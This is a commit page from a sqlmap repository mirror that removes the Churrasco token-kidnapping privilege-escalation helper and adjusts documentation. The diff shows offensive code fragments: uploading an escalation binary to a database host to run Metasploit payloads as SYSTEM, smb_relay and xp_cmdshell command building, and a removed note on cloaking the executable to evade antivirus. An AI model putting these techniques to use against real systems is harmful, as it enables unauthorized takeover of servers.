sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-22 09:36:35 +03:00
Code Issues Packages Projects Releases Wiki Activity

Get rid of Churrasco (Token kidnapping technique to --priv-esc). Reasons why:

Browse Source 
1. there's kitrap0d (MS10-015) which is far more reliable, just recently fixed
2. works only to priv esc basically on MSSQL when it runs as NETWORK SERVICE and the machine is not patched against MS09-012 which is "rare" (hopefully) nowadays.
Now sqlmap relies on kitrap0d and incognito to privilege escalate the database process' user privileges to SYSTEM, both via Meterpreter.

Minor layout adjustments.
This commit is contained in:
Bernardo Damele 2010-03-12 22:43:35 +00:00
parent 6b1ae62753
commit 7d8cc1a482
7 changed files with 21 additions and 94 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
doc/README.sgml
View File

@ -225,12 +225,13 @@ blind SQL injection</bf>.
<item>It is possible to provide a single target URL, get the list of
targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
requests log file or
<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" name="WebScarab proxy">
<tt>conversations/</tt> folder, get the whole HTTP request from a text
file or get the list of targets by providing sqlmap with a Google dork
which queries <htmlurl url="http://www.google.com" name="Google"> search engine and
parses its results page. You can also define a regular-expression based
scope that is used to identify which of the parsed addresses to test.
<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"
name="WebScarab proxy"> <tt>conversations/</tt> folder, get the whole HTTP
request from a text file or get the list of targets by providing sqlmap
with a Google dork which queries <htmlurl url="http://www.google.com"
name="Google"> search engine and parses its results page. You can also
define a regular-expression based scope that is used to identify which of
the parsed addresses to test.
<item>Automatically tests all provided <bf>GET</bf> parameters,
<bf>POST</bf> parameters, HTTP <bf>Cookie</bf> header values and HTTP
@ -639,7 +640,7 @@ Options:
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc User priv escalation by abusing Windows access tokens
--priv-esc Database process' user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
@ -5051,11 +5052,9 @@ send the NTLM session hash when connecting to a SMB service
[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
[hh:mm:16] [INFO] which payload do you want to use?
[1] Reflective Meterpreter (default)
[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
[3] Shell
[4] Reflective VNC
[5] PatchUp VNC (only from Metasploit development revision 6742)
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[hh:mm:16] [INFO] which SMB port do you want to use?
[1] 139/TCP (default)

BIN
lib/contrib/tokenkidnapping/Churrasco.exe_
View File

Binary file not shown.

11
lib/contrib/tokenkidnapping/README.txt
View File

@ -1,11 +0,0 @@
Due to the anti-virus positive detection of executable stored inside this
folder, we needed to somehow circumvent this. As from the plain sqlmap
users perspective nothing has to be done prior to its usage by sqlmap, but
if you want to have access to the original executable use the decrypt
functionality of the ../extra/cloak/cloak.py utility.
To prepare the executable to the cloaked form use this command:
python ../extra/cloak/cloak.py -i Churrasco.exe
To get back the original executable use this:
python ../extra/cloak/cloak.py -d -i Churrasco.exe_

3
lib/parse/cmdline.py
View File

@ -352,8 +352,7 @@ def cmdLineParser():
"exploitation")
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
help="User priv escalation by abusing Windows "
"access tokens")
help="Database process' user privilege escalation")
takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework 3 "

27
lib/takeover/metasploit.py
View File

@ -185,7 +185,7 @@ class Metasploit:
elif kb.os == "Windows" and encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True):
def __selectPayload(self):
if kb.os == "Windows" and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to "
@ -249,19 +249,7 @@ class Metasploit:
break
elif not askChurrasco:
logger.warn("beware that the VNC injection might not work")
break
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco()
if not uploaded:
warnMsg = "beware that the VNC injection "
warnMsg += "might not work"
logger.warn(warnMsg)
break
elif not choice.isdigit():
@ -312,12 +300,12 @@ class Metasploit:
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True):
def __prepareIngredients(self, encode=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload(askChurrasco)
self.payloadStr = self.__selectPayload()
self.encoderStr = self.__selectEncoder(encode)
if self.payloadStr == "linux/x86/shell":
@ -350,7 +338,7 @@ class Metasploit:
def __forgeMsfConsoleResource(self):
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False, askChurrasco=False)
self.__prepareIngredients(encode=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr
@ -426,9 +414,6 @@ class Metasploit:
cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco and kb.stackedTest:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server" and kb.stackedTest:
cmd = self.xpCmdshellForgeCmd(cmd)
@ -462,7 +447,7 @@ class Metasploit:
infoMsg = "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token' if "
infoMsg += "'getsystem' did not success to elevate privileges"
infoMsg += "'getsystem' does not success to elevate privileges"
logger.info(infoMsg)
proc.stdin.write("list_tokens -u\n")
@ -534,7 +519,7 @@ class Metasploit:
self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
self.__initVars()
self.__prepareIngredients(encode=encode, askChurrasco=False)
self.__prepareIngredients(encode=encode)
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self.__payloadCmd)

44
plugins/generic/takeover.py
View File

@ -54,32 +54,9 @@ class Takeover(Abstraction, Metasploit, Registry):
def __init__(self):
self.cmdTblName = "sqlmapoutput"
self.tblField = "data"
self.cmdFromChurrasco = False
Abstraction.__init__(self)
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it "
msg += "will be started as SYSTEM? [y/N] "
output = readInput(msg, default="N")
if output and output[0] in ( "y", "Y" ):
tmpFile = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe_"))
wFile = tmpFile.name
self.churrascoPath = "%s/tmpc%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
self.cmdFromChurrasco = True
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
tmpFile.close()
return True
else:
return False
def osCmd(self):
stackedTest()
@ -172,27 +149,6 @@ class Takeover(Abstraction, Metasploit, Registry):
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif kb.dbms == "PostgreSQL":
debugMsg = "by default PostgreSQL on Windows runs as postgres "
debugMsg += "user which has no access to LSASS: it is "
debugMsg += "unlikely that the privilege escalation "
debugMsg += "via 'incognito' extension will be successful"
logger.debug(debugMsg)
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
debugMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
debugMsg += "runs as Network Service which has Windows "
debugMsg += "Impersonation Tokens"
logger.debug(debugMsg)
uploaded = self.uploadChurrasco()
if not uploaded:
debugMsg = "beware that the privilege escalation "
debugMsg += "might not work via Churrasco if "
debugMsg += "MS09-012 patch is installed"
logger.debug(debugMsg)
elif kb.os != "Windows" and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows

7
sqlmap.conf
View File

@ -375,10 +375,9 @@ osSmb = False
# Valid: True or False
osBof = False
# Local User privilege escalation by abusing Windows access tokens using
# Meterpreter incognito extension.
# Note: Use in conjunction with osPwn or osSmb. It will force the payload
# to be Meterpreter.
# Database process' user privilege escalation.
# Note: Use in conjunction with osPwn, osSmb or osBof. It will force the
# payload to be Meterpreter.
privEsc = False
# Local path where Metasploit Framework 3 is installed.